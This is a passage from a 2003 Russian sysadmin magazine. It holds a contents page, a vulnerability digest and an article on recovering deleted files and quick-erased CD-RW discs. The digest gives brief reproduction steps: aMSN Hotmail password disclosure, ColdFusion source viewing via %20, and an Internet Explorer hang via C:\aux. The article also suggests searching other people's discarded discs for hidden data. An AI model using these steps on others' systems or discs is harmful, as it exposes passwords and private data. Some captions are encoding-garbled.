№8(9) август 2003

подписной индекс 81655

журнал для cистемных администраторов,
вебмастеров и программистов

Восстановление данных
с лазерных дисков
Новые средства
ОС FreeBSD 5
Эффективная почтовая
система на базе Exim
NETFILTER
Пингвин
с одного пинка
NetBSD:
установка и настройка
Переполнение буфера
в Windows NT/2000/XP
 оглавление

АДМИНИСТРИРОВАНИЕ СЕТИ

Восстановление данных NETFILTER

с лазерных дисков Владимир Мешков
Крис Касперски ubob@mail.ru 64
kk@sendmail.ru 4
Протокол V.90
Мониторинг Windows-серверов Денис Колисниченко
с помощью Nagios dhsilabs@mail.ru 70
Часть2
Андрей Бешков
tigrisha@sysadmins.ru 12 БЕЗОПАСНОСТЬ

Пингвин с одного пинка Переполнение буфера

Сергей Яремчук в Windows NT/2000/XP
grinder@ua.fm 24 Станислав Гошко
bigafroelephaut@mail.ru 74
OpenBSD. Первые шаги
Денис Назаров ПРОГРАММИРОВАНИЕ
pheonix@sysattack.com 28
Регулярные выражения
NetBSD: установка и настройка и поиск текста в Perl
Андрей Бешков Владислав Гошко
tigrisha@sysadmins.ru 34 synthetic@inbox.ru 78

Эффективная почтовая система ОБРАЗОВАНИЕ

на базе Exim
Денис Мысенко
duster@duster.ru 40 Могущество кодов Рида-Соломона,
или Информация, воскресшая из пепла
Крис Касперски
Новые средства OC FreeBSD 5 kk@sendmail.ru 88
Всеволод Стахов
CEBKA@smtp.ru 46
BUGTRAQ 2, 62, 69
HARDWARE

Плохое электропитание,
или «Грабли» с UPS
Павел Закляков
amdk7@mail.ru 52

WWW.SAMAG.RU
№8(9), август 2003 1
bugtraq
Раскрытие опознавательной
информации в “aMSN”
Уязвимость раскрытия опознавательной информации
обнаружена в «aMSN» – в Linux версии MSN Messenger.
Локальный пользователь может определить Hotmail-па-
роль целевого пользователя. Локальный пользователь
может выполнить серию действий, чтобы раскрыть
Hotmail-пароль целевого пользователя:
- Open AMSN Messenger and sign in
- Go to Tools>Options>Preferences>Applications
- For Browser type in a location other then where the
browser is, and the same for File Manager
- Click Save
- On the main part of AMSN, click on the text to go to the
hotmail inbox
Уязвимость обнаружена в aMSN 0.8
Способов устранения обнаруженной уязвимости не
существует в настоящее время.
Просмотр исходного кода
ColdFusion-страниц в ColdFusion MX
Уязвимость раскрытия информации обнаружена в
Macromedia’s ColdFusion MX и Macromedia JRun, когда
он запущен на веб-сервере Apache на Windows-систе-
мах. Удаленный пользователь может просматривать ис-
ходный код ColdFusion-страниц. Удаленный пользова-
тель может добавить кодированный символ пробела
(%20) к концу URL, чтобы просматривать исходный код
«.cfm»-, «.cfc»- или «.cfml»-страниц. Уязвимость рабо-
тает только в Apache 1.3.x и 2.x на Windows-системах.
Уязвимость обнаружена в ColdFusion MX (Standard
Edition), MX for J2EE (JRun), Macromedia JRun 4.0
Для устранения уязвимости установите обновлен-
ную версию программы, которую можно скачать отсю-
да: http://download.macromedia.com/pub/security/mpsb03-
04.zip
Раскрытие чувствительной информации
в Microsoft Windows 2000
USBH_IoctlGetNodeConnectionDriverKeyName
Уязвимость обнаружена в Microsoft Windows 2000 SP3.
Локальный пользователь может раскрыть чувствитель-
ные данные из памяти ядра.
При определенных обстоятельствах вызов
USBH_IoctlGetNodeConnectionDriverKeyName() может
возвратить неинициализированные данные с простран-
ства памяти ядра. Это может привести к раскрытию чув-
ствительных данных.
Уязвимость обнаружена в Microsoft Windows 2000
SP3 Для устранения уязвимости скачайте SP4.
2
Межсайтовый скриптинг
в Microsoft Outlook Web Access
Несколько уязвимостей обнаружено в Microsoft Outlook
Web Access (OWA). Удаленный пользователь может
обойти настройки фильтрования, чтобы выполнить про-
извольный код сценария и получить OWA пароль целе-
вого пользователя.
Удаленный пользователь может послать специаль-
но сформированное HTML email сообщение к целево-
му пользователю, чтобы получить доменное имя целе-
вого пользователя и его пароль.
Способов устранения обнаруженной уязвимости не
существует в настоящее время.
Удаленный доступ
в ColdFusion MX Server
Несколько уязвимостей обнаружены в ColdFusion MX
Server. Удаленный пользователь может получить дос-
туп к серверу в конфигурации по умолчанию.
В конфигурации по умолчанию Remote Development
Service (RDS) не требует пароля для авторизации. На
системах, в которых не установлен пароль админист-
ратора, удаленный пользователь может получить до-
ступ к серверу.
Также по умолчанию RDS Java servlet запущен в
контексте учетной записи ColdFusion, с привилегиями
LocalSystem. Удаленный авторизованный пользова-
тель может переконфигурировать свойства веб-сай-
та, чтобы получить возможность добавлять любые
файлы на сервер.
Также сообщается, что когда установлен RDS-па-
роль, то пароль передается по сети в открытом виде.
Удаленный пользователь, способный контролировать
сетевой трафик, может получить этот пароль. Также со-
общается, что не проверяется правильность ASP
SESSION ID.
Способов устранения обнаруженной уязвимости не
существует в настоящее время.
Отказ в обслуживании при обращении
к DOS устройствам
в Microsoft Internet Explorer
Отказ в обслуживании обнаружен в Microsoft Internet
Explorer. Удаленный пользователь может завесить бра-
узер. Сообщается, что когда браузер попытается заг-
рузить URL «C:\aux», то он зависнет и перестанет от-
вечать на дальнейшие запросы.
Уязвимость обнаружена в Microsoft Internet Explorer 6.0
Составил Александр Антипов
администрирование

ВОССТАНОВЛЕНИЕ ДАННЫХ
С ЛАЗЕРНЫХ ДИСКОВ
…Такой объем информации можно уничтожить в один
миг разве что динамитом, потому что существуют
дублирующие системы, и у скорости обработки есть предел.
Джон Варли
«Нажмите ENTER»

Записываемые и перезаписываемые лазерные диски представляют собой идеальное средство

для резервирования информации умеренных объемов (а всякий администратор обязательно
должен заботиться о периодическом резервировании вверенной ему информации). К сожалению,
никакая работа без ошибок не обходится (что поделаешь, человеку свойственно ошибаться –
errare humanum est, как говорили древние), и ошибочное удаление файлов CD-R/CD-RW дисков,
равно как и непредумышленная очистка последних хотя бы однажды да случается (на самом деле,
как показывает практика, с этим явлением приходится сталкиваться далеко не однажды, особенно
если пользователи самостоятельно резервируют ту или иную информацию на CD-R/CD-RW).
Насколько известно автору, утилит, предназначенных для восстановления информации с лазерных
дисков, до сих пор не разработано (во всяком случае, они не были широко представлены на рынке),
поэтому восстановлением запоротых дисков в подавляющем большинстве случаев приходится
заниматься самостоятельно. О том, как именно это сделать и рассказывает настоящая статья.

КРИС КАСПЕРСКИ
4

Восстановление удаленных файлов
с CD-R/CD-RW
Заявляя о своей поддержке многосессионных дисков,
операционные системы Windows 9x и Windows NT (вплоть
до W2K включительно) тактично умалчивают о том, что под-
держивают их лишь частично.
Каждая сессия – это вполне самостоятельный том (в
терминологии Windows – «логический диск»), имеющий
свою собственную файловую систему и свои собствен-
ные файлы. Благодаря сквозной нумерации секторов ла-
зерного диска, файловая система одной сессии может
ссылаться на файлы, физически расположенные в любой
другой сессии. Для того чтобы с многосессионным дис-
ком было можно работать как с единым томом, файловая
система последней сессии должна включать в себя со-
держимое файловых систем всех предыдущих сессий.
Если этого не сделать, то при просмотре диска штатными
средствами Windows оглавления остальных сессий ока-
жутся потерянными, поскольку Windows монтирует лишь
последнюю сессию диска, а все прочие – игнорирует. Про-
граммы «прожига» CD-R/RW по умолчанию добавляют со-
держимое файловой системы предыдущей сессии к пос-
ледующей, однако это еще не означает, что последняя
сессия диска всегда содержит в себе все то, что имеют
предыдущие.
Рассмотрим, например, как осуществляется удале-
ние файлов с CD-R/RW. Нет, это не опечатка! Содержи-
мое дисков CD-R, несмотря на физическую невозмож-
ность их перезаписи, в принципе все же уничтожаемо.
Для имитации удаления файла программы записи
на CD просто не включают ссылку на уничтожаемый
файл в файловую систему последней сессии1. И хотя
«удаленный» файл все еще присутствует на диске,
«отъедая» часть дискового пространства, при просмот-
ре содержимого диска из-под Windows он уже не ото-
бражается в каталоге. «Какой же тогда смысл несет в
себе удаление файлов с CD-R, если свободная емкость
диска при этом не увеличивается, а даже уменьшает-
ся 2?!» – удивленно спросит иной читатель. На самом
же деле смысл этой операции (если его вообще можно
назвать «смыслом») заключен исключительно в сокры-
тии «удаляемых» файлов от простых пользователей.
Раз удаленные файлы не видны при просмотре со-
держимого диска штатными средствами, то неквали-
фицированному пользователю они формально недо-
ступны. Подчеркиваю: для штатных средств операци-
онной системы Windows недоступны, но те же «Маки»
позволяют монтировать любую сессию диска на отдель-
ный том, благодаря чему при просмотре многосесси-
онных дисков под «Маками» все удаленные файлы сра-
зу же «всплывают».
Аналогичным образом обстоят дела и при удалении
информации с CD-RW дисков. Несмотря на теоретичес-
кую возможность физического уничтожения их содержи-
мого, подавляющее большинство записывающего софта
поддерживает лишь функцию очистки всего диска цели-
ком, но не в состоянии выборочно удалять отдельные
файлы. Так что все, сказанное выше о CD-R дисках, в
равной мере применимо и к CD-RW.
№8(9), август 2003
администрирование
Поэтому, записывая на диск информацию, предназ-
наченную для передачи постороннему лицу, ни в коем
случае не используйте для этой цели болванки, содер-
жащие конфиденциальные данные. «Удаление» ранее
записанных на болванку данных на самом деле не унич-
тожает их!
Просматривая содержимое лазерного диска, полу-
ченного от приятеля (купленного на радио-рынке, вы-
тащенного из мусорной корзины), имеет смысл попы-
таться заглянуть внутрь предыдущих сессий на пред-
мет поиска скрытой информации. Как показывает прак-
тика, очень часто там обнаруживается много интерес-
ного. Так же вам может потребоваться восстановить
ошибочно удаленный файл со своего собственного дис-
ка, а то и воскресить всю «пришибленную» сессию це-
ликом (некоторые программы записи на CD позволяют
пользователю выбирать: следует ли при создании но-
вой сессии добавлять в нее файловую систему преды-
дущей или же в новую сессию следует включать только
новые файлы. Неверный выбор настроек приводит к
утрате содержимого всех предыдущих сессий, но, к сча-
стью, эта утрата обратима).
Для восстановления удаленных файлов можно вос-
пользоваться любой программой, умеющей извлекать
содержимое выбранной сессии диска и записывать его
в ISO-образ. Пусть для определенности это будет Roxio
Easy CD Creator. Позволив приводу «заглотить» вос-
станавливаемый диск, в меню «CD» выбираем пункт
«CD Information» и после этого на экране отображается
диалоговое окно следующего вида:
Ðèñóíîê 1. Àíàëèç ñîäåðæèìîãî äèñêà íà ïðåäìåò âûÿâëåíèÿ
óäàëåííûõ ôàéëîâ.
Как мы и видим, перед нами представлен перечень
всех сессий, имеющихся на диске с указанием номеров,
стартовых адресов (в секторах) и длин (в мегабайтах).
Давайте попробуем определить, имеются ли на диске
скрытые файлы или нет. Используя команду «dir», вы-
ведем директорию диска и запомним суммарный раз-
мер всех файлов, которые только «видит» операцион-
ная система:
5
 администрирование
Ëèñòèíã 1. Âûâîä ñîäåðæèìîãî äèñêà íà ýêðàí, íà ñàìîì äåëå
êîâàðíàÿ Windows âûâîäèò ñîäåðæèìîå îäíîé ëèøü ïîñëåäíåé
ñåññèè äèñêà. ×òî ñîäåðæàò âñå îñòàëüíûå – íåèçâåñòíî. Âî
âñÿêîì ñëó÷àå, ïîêà íåèçâåñòíî.
KPNC$G:\>dir
Òîì â óñòðîéñòâå G èìååò ìåòêó 030710_1433
Ñåðèéíûé íîìåð òîìà: 4DD0-BB09
Ñîäåðæèìîå ïàïêè G:\
28.05.2003 05:57 6 283 745 phck31.drf.zip
03.06.2003 05:39 8 085 410 phck31.Âò 03.06.2003.zip
04.06.2003 16:45 7 898 149 phck31.Ñð 04.06.2003.zip
05.06.2003 06:06 6 718 926 phck31.×ò 05.06.2003.zip
03.07.2003 15:51 10 612 230 phck31.×ò 03.07.2003.zip
05.07.2003 06:37 8 946 860 phck31.Ñá 05.07.2003.zip
08.07.2003 12:51 9 009 642 phck31.Âò 08.07.2003.zip
09.07.2003 06:21 9 138 651 phck31.Ñð 09.07.2003.zip
10.07.2003 14:32 9 388 543 phck31.×ò 10.07.2003.zip
9 ôàéëîâ 76 082 156 áàéò
1 ïàïîê 0 áàéò ñâîáîäíî
Ага, совокупный объем 9 файлов, доступных для опера-
ционной системы, составляет всего 72 Мб (760 82 156 байт),
а совокупный объем всех сессий диска – 47,66 + 6,50 + 8,21 +
8,04 + 6,91 + 10,62 + 9,04 + 9,10 + 9,22 + 9,46 = 124,76 Мб,
что на 52 Мб длиннее! (Примечание: поле «Write Sector»,
содержащее длину записанной области диска и равное в
данном случае 255 Мб, для наших целей абсолютно беспо-
лезно, поскольку в записанную область диска входят не
только полезные данные, но и служебные области каждой
сессии, в результате чего полная емкость диска всегда
меньше его эффективной емкости, даже если на нем нет
никаких удаленных файлов).
В какой именно сессии содержатся удаленные файлы,
сказать невозможно – они могут присутствовать в любой из
них (или даже в нескольких сессиях сразу). Поэтому в об-
щем случае все имеющиеся сессии должны просматриваться
последовательно. Однако иногда удается найти более ко-
роткие пути. Применительно к рассматриваемому нами при-
меру: давайте попробуем оттолкнуться от того факта, что
количество имеющихся на диске сессий на единицу больше
числа выведенных командой dir файлов, причем размеры
девяти последних секций практически совпадают с разме-
рами соответствующих им файлов. Первая же сессия дис-
ка, имеющая размер 48 Мб, не соответствует ни одному из
видимых файлов. Что же она тогда содержит? А вот сейчас
смонтируем эту сессию на отдельный дисковый том и по-
смотрим! К сожалению, штатные средства Windows не по-
зволяют осуществлять такое монтирование непосредствен-
но и потому приходится идти обходным путем, записывая
выбранную сессию в ISO-образ с последующим копирова-
нием последнего на чистый CD-R/CD-RW диск. Естествен-
но, CD-RW диски более практичны для таких эксперимен-
тов, поскольку их можно использовать многократно. Еще
удобнее Alcohol 120%, динамически монтирующий ISO-об-
разы на виртуальный CD-ROM, и тем самым экономящий
кучу времени (но, к сожалению, он не предоставляет воз-
можности выбора сохраняемых сессий и всегда помещает
в создаваемый им образ содержимое всего диска целиком,
поэтому одного лишь «Алкоголика» для наших эксперимен-
тов будет более чем достаточно).
Возвращаясь к нашим баранам (простите, к Roxio Easy
CD Creator), дважды щелкнем мышем по строке «Session 1»
или, предварительно выделив ее курсором, нажмем на
кнопку «Read Track». На экране немедленно появится диа-
логовое окно следующего вида:
6
Ðèñóíîê 2. Äèàëîãîâîå îêíî èçâëå÷åíèÿ ñåññèè ñ íàñòðîéêàìè
ïî óìîë÷àíèþ.
Поле «Имя файла», как и следует из его названия, за-
дает имя образа (по умолчанию «Track»), а «Тип файла» –
формат. Каким-либо образом «колдовать» над ним бес-
полезно, поскольку других форматов бесплатная версия
программы все равно не поддерживает и возможность их
выбора (точнее, видимость возможности выбора) предо-
ставляется пользователю исключительно из соображений
этикета и/или вежливости.
А вот настройки, обведенные рамкой «Read Data Track
Settings», намного более интересны. Окно редактирова-
ния «Start Block» содержит LBA-адрес первого сектора
выбранной сессии, а «Length in Block» – длину сессии в
секторах и по умолчанию сюда подставляется информа-
ция, подчерпнутая из TOC. При условии, что TOC не был
умышленно искажен с целью защиты диска от копирова-
ния, этим данным можно верить. Однако как мы увидим в
дальнейшем, искажение TOC не редкость и с ним доволь-
но часто приходится сталкиваться на практике (впрочем,
возможности Easy CD Creator по восстановлению треков
с искаженными адресами даже более чем ограничены, т.к.
он слишком щепетильно проверяет «правильность» на-
чального и конечного адресов, и если TOC говорит, что
начальный адрес больше конечного, то Easy CD Creator
будет свято верить TOC, причем настолько свято, что все
попытки убедить его в обратном заранее обречены на
провал, так что для работы с защитами лучше подыскать
другую программу, поумнее).
Поле «Block Size» содержит размер пользовательской
части сектора в байтах. Свобода выбора здесь представ-
лена чисто символически, все равно изменить это значе-
ние вы не сможете (да и нужно ли его изменять? ведь
«сырых» секторов Easy CD Creator все равно не поддер-
живает, а размер пользовательской части сектора одно-
значно определяется типом самого сектора и его измене-
ние бессмысленно).
Короче говоря, оставив все установки в состоянии,
предлагаемым по умолчанию, нажимаем кнопочку «со-
хранить» и некоторое время ждем, пока выбранная нами

сессия копируется в ISO-файл. Когда же процесс «транс-
плантации» будет закончен, сформированный образ мож-
но «закатать» на новую болванку тем же Easy CD Creator
(в меню «File» необходимо выбрать пункт «Record CD from
CD image», указав в типе файлов «ISO Image File»), либо
запустить «Алкоголика» и смонтировать образ на вирту-
альный диск.
Так или иначе, доступ к удаленным файлам будет по-
лучен, и вы сможете делать с ними все что хотите. (Вни-
мание! При просмотре содержимого «сграбленной» сес-
сии всегда учитывайте, что, во-первых, файлы, физичес-
ки принадлежащие другим сессиям, из данной сессии ока-
жутся недоступными, в то время как ссылки на них здесь
могут изобиловать. При обращении к реально несуществу-
ющему файлу будет выдаваться либо мусор, либо сооб-
щение об ошибке. Как альтернативный вариант – опера-
ционная система может просто зависнуть. Если это про-
изошло, просто нажмите кнопку выброса диска. Windows
тут же выйдет из ступора и радостно завопит, что «уст-
ройство не готово». Во-вторых, в силу сквозной адреса-
ции секторов, каждая «сграбленная» сессия должна за-
писываться на то же самое место диска, на котором она
была ранее, в противном случае все ссылки на старто-
вые адреса файлов внутри этой сессии окажутся недей-
ствительными. Требуемый результат обычно достигается
изменением стартового адреса первого трека. О том, как
это сделать, рассказывается в следующей части статьи,
посвященной восстановлению информации с очищенных
CD-RW дисков.)
Восстановление очищенных CD-RW
Существует две принципиально различных методики
очистки CD-RW: быстрая (quick) и полная (full). При быс-
трой очистке диска с него удаляется лишь область TOC,
в результате чего диск выглядит «пустым», хотя его ос-
новное содержимое остается совершенно нетронутым.
Напротив, при полной очистке луч лазера «выжигает»
всю поверхность диска целиком – от первого пита до пос-
леднего. Естественно, на это требуется время и полная
очистка диска может растянуться на добрый десяток
минут, в то время как быстрая спокойно укладывается в
одну-две минуты.
Восстановление полностью очищенных дисков воз-
можно только на специальном оборудовании, способном
улавливать даже незначительные изменения отражатель-
ной способности рефлекторного слоя. Такое оборудова-
ние подавляющему большинству пользователей, разуме-
ется, недоступно. Однако диски, подвергнувшиеся быст-
рой очистке, могут быть восстановленны и на штатном
рекордере (правда, не на всех моделях).
Мы не будем касаться этической стороны проблемы
и для простоты предположим, что вы хотите реаними-
ровать свой собственный непредумышленно очищен-
ный CD-RW диск, или условимся считать всех читате-
лей сотрудниками КГБ, которым поручили восстановить
информацию с диска, добытого бесстрашными советс-
кими разведчиками у американских шпионов. Отметим
лишь то, что восстановление конфиденциальной инфор-
мации с чужих CD-RW может быть классифицировано
№8(9), август 2003
администрирование
как получение несанкционированного доступа к после-
дней со всеми вытекающими отсюда последствиями (на
долгие годы – друзья в полоску и небо в клетку).
Для опытов по восстановлению информации с очищен-
ных CD-RW дисков нам потребуется следующее:

пишущий привод, не слишком дотошно следящий за
корректностью содержимого TOC, поддерживающий
режим RAW DAO и умеющий читать содержимое pre-
gap первого трека. Не все модели писцов подходят
для этой цели, поэтому будьте готовы к тому, что вам
придется перепробовать большое количество различ-
ного оборудования (из двух моих рекордеров для вос-
становления очищенных дисков подходит лишь NEC,
а PHILIPS на это, увы, не способен);

продвинутый записывающий soft, позволяющий ма-
нипулировать служебными областями диска по свое-
му усмотрению. Вы можете использовать Clone CD,
CDRWin, Alcohol 120% или любую другую аналогич-
ную утилиту по своему выбору. Однако весь после-
дующий материал рассчитан исключительно на
Clone CD и при переходе на остальные программы
вы можете столкнуться с теми или иными проблема-
ми. Если вы не уверены, что сможете справиться с
ними самостоятельно – используйте Clone CD, ну а
затем, по мере приобретения профессиональных на-
выков и должного опыта, вы без труда восстановите
диск любой такой программой;

средство для работы с диском на секторном уровне –
утилита, позволяющая прочесть любой заданный сек-
тор (конечно, при условии, что он вообще читается при-
водом) и не пытающаяся пропустить те сектора, в ко-
торых по ее самоуверенному мнению ничего интерес-
ного все равно нет. Копировщики защищенных дисков,
перечисленные выше, для этой цели не подходят, т.к.
отказываются читать «бесполезные» с их точки зре-
ния сектора. Может быть, другие копировщики ведут
себя и иначе – не знаю, не проверял. Вместо этого не-
обходимую для работы утилиту я написал самостоя-
тельно (ее можно скачать с сайта журнала по адресу:
http://www.samag.ru/source/k1.zip).
Прежде чем начинать экспериментировать, давайте
разберемся, почему после очистки диск перестает читать-
ся. Вопрос не так глуп, каким он кажется, ведь информа-
ция, необходимая для позиционирования головки и поис-
ка конкретных секторов при быстрой очистке диска оста-
ется нетронутой! Управляющие данные «размазаны»
вдоль всей спиральной дорожки и для чтения диска на
секторном уровне TOC, в общем-то, и не нужен. Да, от-
сутствие TOC значительно усложняет анализ геометрии
диска и для определения количества треков/сессий дис-
ка в общем случае привод должен прочитать весь этот
диск целиком. Но при восстановлении информации фак-
тор времени играет второстепенную роль и им можно пол-
ностью пренебречь.
Тем не менее при попытке чтения любого из секторов
очищенного диска привод с неизменным упорством воз-
вращает ошибку. Почему? Очень просто, это «защита»
от чтения заведомо некорректной информации. Еще ни
7
 администрирование
один из всех знакомых мне приводов не мог читать сек-
тора за пределами Lead-Out области (собственно, на про-
граммном уровне содержимое Lead-in/Lead-out областей
недоступно тоже). Тем не менее эта невозможность от-
нюдь не концептуального уровня и удаление из микро-
программы привода «лишних» проверок позволят прочи-
тать такой диск на ура. Нет, не подумайте! Призывать вас
к дизассемблированию прошивок я не собираюсь. Дело
это сложное, трудоемкое, да к тому же небезопасное. Не-
верно хакнутая прошивка может ко всем чертям угробить
привод без малейшей надежды на его восстановление.
Нет, уж лучше мы пойдем другим путем!
Идея восстановления информации, предлагаемая ав-
тором, в общих чертах сводится к записи на диск фиктив-
ного TOC, адреса Lead-in и Lead-out областей которого
указывают на первый и последний сектор диска соответ-
ственно, а стартовый адрес первого трека аккурат совпа-
дает с концом pre-gap области, которая по стандарту дол-
жна занимать не менее 150 секторов (или 2 секунд в пе-
ресчете на абсолютные адреса). После этой нехитрой опе-
рации привод будет читать оригинальное содержимое очи-
щенного диска как миленький, конечно, при том условии,
что мы ухитримся настроить пишущий софт так, чтобы
он, записав фиктивный TOC, никоим образом не пытался
интерпретировать подсунутые ему указатели на Leadin/
LeadOut области как указание «выжечь» всю поверхность
диска целиком.
Проверка показывает, что Clone CD вообще не запи-
сывает такой TOC на диск, ругаясь на несоответствие раз-
меров диска и образа файла. Alcohol 120% выполняет нашу
просьбу без лишних препирательств, но совсем не так, как
мы хотели! Забив весь восстанавливаемый диск непонят-
но откуда взятым мусором, он авторитетно сообщает, что
в процессе записи произошли ошибки и, возможно, вам
следует убедиться в исправности оборудования.
Хорошо, зайдем с другой стороны. Запишем на диск
один реальный трек, занимающий минимально возмож-
ное количество секторов (по стандарту – 300, но неко-
торые приводы вполне удовлетворяются и меньшими
значениями), но расширим его pre-gap с двух секунд на…
весь диск! В результате мы потеряем лишь 300 после-
дних секторов, но получим доступ ко всему остальному
содержимому. Учитывая, что на диске этих секторов на-
считывается немногим более 300 тысяч, нетрудно под-
считать, что процент успешно восстановленной инфор-
мации составляет по меньшей мере 99,999% емкости
всего диска, да и то лишь при том условии, что исход-
ный диск был забит целиком, что в живой природе прак-
тически никогда не наблюдается. Если же это вас не
удовлетворяет – разрабатывайте свой собственный
софт, корректно записывающий фиктивный TOC, но ни-
чего не делающий сверх этого (Lead-in область все рав-
но записывает сам привод, ну а без Lead-out при акку-
ратном обращении с диском в принципе можно и обой-
тись, главное – пытаться прочитать сектора, находящи-
еся за пределами диска, иначе поведение привода ста-
нет трудно предсказуемым). Мне же это делать лень – с
восстановлением полностью забитых дисков я еще не
сталкивался. Во всяком случае пока…
8
Процедура восстановления состоит из трех частей:
подготовки исходного образа трека с нормальным pre-gap;
увеличения pre-gap до размеров целого диска и записи
исправленного образа на восстанавливаемый диск. Пер-
вые два этапа достаточно выполнить всего один раз, т.к.
полученный образ (далее мы будем называть его «лечеб-
ным») может использоваться для всех дисков (читай: для
всех дисков той же самой емкости, по понятным сообра-
жениям вы не сможете корректно восстановить 23-минут-
рый диск с помощью образа, предназначенного для 80-
минутного диска и, соответственно, наоборот).
Для начала возьмем чистый CD-RW диск («чистый»
не в смысле «ни разу не записанный», а очищенный быс-
трой или полной очисткой, так же для этих целей подой-
дет и CD-R). Используя любую утилиту для штатного «про-
жига», запишем на него один крошечный файл, «веся-
щий» не более 500 Кб (более тяжелый файл просто не
уместится в запланированные 300 секторов). Выполнять
финализацию диска не нужно.
Запустим Clone CD (Alcohol 120%) и снимем образ
диска. Спустя минуту-другую на винчестере образуют-
ся два файла: file name.img и file name.ccd (если вы по-
просили Clone CD сохранять так же и субканальную ин-
формацию, образуется третий файл – file name.sub,
однако субканальная информация в данном случае бу-
дет только мешать, потому опцию «чтение субканалов
из треков с данными» лучше всего отключить или же
просто удалить file name.sub с диска; также нам не ну-
жен «Cue-Sheet», который Clone CD предлагает созда-
вать для совместимости с другими программами, конк-
ретно – с CDRWin).
Открыв file name.ccd-файл любым текстовым редак-
тором, найдем в нем следующие строки (ключевые слова
для поиска «Point=0xa2» и «Point=0x01»):
Ëèñòèíã 2. Îðèãèíàëüíûé ñòàðòîâûé àäðåñ Lead-Out (ñëåâà)
è ñòàðòîâûé àäðåñ ïåðâîãî òðåêà äèñêà (ñïðàâà).
[Entry 2] [Entry 3]
Session=1 Session=1
Point=0xa2 Point=0x01
ADR=0x01 ADR=0x01
Control=0x04 Control=0x04
TrackNo=0 TrackNo=0
AMin=0 AMin=0
ASec=0 ASec=0
AFrame=0 AFrame=0
ALBA=-150 ALBA=-150
Zero=0 Zero=0
PMin=0 PMin=0
PSec=29 PSec=1
PFrame=33 PFrame=0
PLBA=2058 PLBA=0
Изменим поля PMin:PSec:PFrame, принадлежащие
Point=0xa2 так, чтобы они указывали на самый конец дис-
ка (0xa2 – это как раз Lead-Out и есть). Измененный Lead-
Out может выглядеть, например, так: 74:30:00. Адрес
Lead-Out следует выбирать с тем расчетом, чтобы меж-
ду ним и внешней кромкой диска оставался по меньшей
мере 30-секундный зазор. Еще лучше, если ширина Lead-
Out составит полторы минуты или около того. Однако в
этом случае будут неизбежно теряться последние треки
восстанавливаемого диска (если, конечно, вам действи-
тельно требуется их восстановить).

К содержимому полей PMin:PSec:PFrame, принадлежа-
щих Point=0x01 (стартовый адрес первого трека), необхо-
димо добавить ту же самую величину, которую вы добави-
ли к соответствующим полям Lead-Out. Отредактирован-
ный вариант может выглядеть, например, так: 74:01:42.
(74:30:00 /* новый адрес Lead-out */ – 00:29:33 /* старый
Lead-Out */ + 00:01:00 /* старый стартовый адрес первого
трека */ = 74:01:42 /* новый стартовый адрес */). Короче го-
воря, новая версия ccd-файла должна выглядеть так:
Ëèñòèíã 3. Êëþ÷åâîé ôðàãìåíò «ðåàíèìàòîðà» 75-ìèíóòíûõ
CD-RW äèñêîâ.
[Entry 2] [Entry 3]
Session=1 Session=1
… …
PMin=74 PMin=74
PSec=30 PSec=01
PFrame=00 PFrame=42
Вообще-то, для приличия следовало бы скорректировать
и поля PLBA (LBA-адрес связан с абсолютным адресом сле-
дующим соотношением: LBA = ((Min∗60) + Sec)∗75 + Frame,
однако текущие версии работают исключительно с абсо-
лютными адресами и LBA-адреса игнорируют. Теперь все
что находится между концом Lead-in области и началом
первого сектора и будет называться pre-gap. При «про-
жиге» диска область pre-gap остается нетронутой и поз-
же может быть прочитана на секторном уровне (а это как
раз то, что нам нужно!). Сказать по чести, чрезмерное
№8(9), август 2003
администрирование
увеличение pre-gap первого трека – не самая лучшая идея,
т.к. не все приводы способны читать такой «жирный» pre-
gap. С точки зрения совместимости было бы лучше уве-
личивать pre-gap второго трека, однако при этом первый
трек придется располагать в самом начале диска и его
тело неизбежно затрет восстанавливаемые сектора. И
хотя это не такая уж большая проблема (в первых секто-
рах диска все равно ничего ценного нет), к такой мере
без особой необходимости все же лучше не прибегать.
На крайний случай действуйте так: запишите на диск две
сессии и вместо стартового адреса Point номер 0x01 ме-
няйте стартовый адрес Point номер 0x02 (он будет нахо-
диться в разделе session=2).
Теперь наскоро очистим наш подопытный диск и до
отвала забьем его какими-нибудь файлами (предпочти-
тельнее всего использовать текстовики, т.к. в этом слу-
чае будет сразу видно: извлекается ли с восстановленно-
го диска мусор или полезная информация). Записав фай-
лы на диск, тут же выполним его быструю очистку.
Убедившись, что диск действительно очищен и его со-
держимое уже недоступно, запустим Clone CD и запишем
только что созданный нами «лечебный» образ. Запись
должна проводиться в режиме DAO, иначе ничего хоро-
шего у вас не получится (поэтому прежде чем восстанав-
ливать сколь-нибудь ценный диск на еще неизвестном вам
приводе, попробуйте потренироваться на «кошках» – дис-
ке, не содержащем ничего интересного).
9
 администрирование
Вот наконец мы держим в руках свежевосстановлен-
ный диск. Но действительно ли он восстановлен? А вот
сейчас и убедимся! Вставляем «воскресшего из пепла» в
привод NEC и с замиранием сердца пробуем прочитать
один из наугад взятых секторов из середины диска (на-
чальные сектора обычно содержат нули, потом файло-
вую систему, и их очень легко принять за бессмысленный
мусор). О чудо! Оригинальное содержимое очищенного
диска читается как ни в чем не бывало! Правда, при по-
пытке прочесть оглавление диска средствами операци-
онной системы привод может впасть в глухую задумчи-
вость, граничащую с полным зависанием (ведь старто-
вый адрес первого трека расположен не в начале диска,
а совсем в другом месте), но это все ерунда! Главное, что
на секторном уровне диск все-таки доступен, пускай и не
на всех приводах. Так, в частности, ASUS вообще отка-
зывается читать такой диск, возвращая ошибку, а PHILIPS
читает один мусор (к счастью, этот мусор можно восста-
новить, – достаточно просто на битовом уровне выпол-
нить EFM-перекодировку с более «правильной» позиции.
Поскольку возможных позиций всего 14, перебор обеща-
ет не затягиваться на длительное время. Тем не менее
лучше не извращаться, а просто приобрести более каче-
ственный привод).
Остается лишь привести диск в состояние, пригод-
ное для переваривания операционной системой (что тол-
ку в работе с диском на низком уровне?). Последова-
тельно читая все сектора диска один за одним, мы бу-
дем собирать их в один img-файл, для определенности
именуемый recover.img. Сектора, которые не удалось
прочитать даже с нескольких попыток, мы будем просто
пропускать. Теперь скопируем «лечебный» ccd-файл в
recover.ccd и вернем стартовый адрес первого трека на
прежнее место. Запишем сформированный образ дис-
ка на новую болванку и… (если все сделано правильно)
любой привод должен читать ее правильно. Сеанс де-
монстрационного восстановления окончен, и мы, ма-
лость освоившись с этой технологией, можем принимать-
ся за вещи куда как более серьезные. Например, откро-
ем собственную компании по восстановлению очищен-
ных дисков. Шутка! Хотя… почему бы и нет?
Хорошо, а как быть, если очищенный диск был много-
сессионным? Ведь описанные выше приемы рассчитаны
на работу лишь с одной сессией! На самом деле можно
восстановить и многосессионный диск. Это лишь чуть-чуть
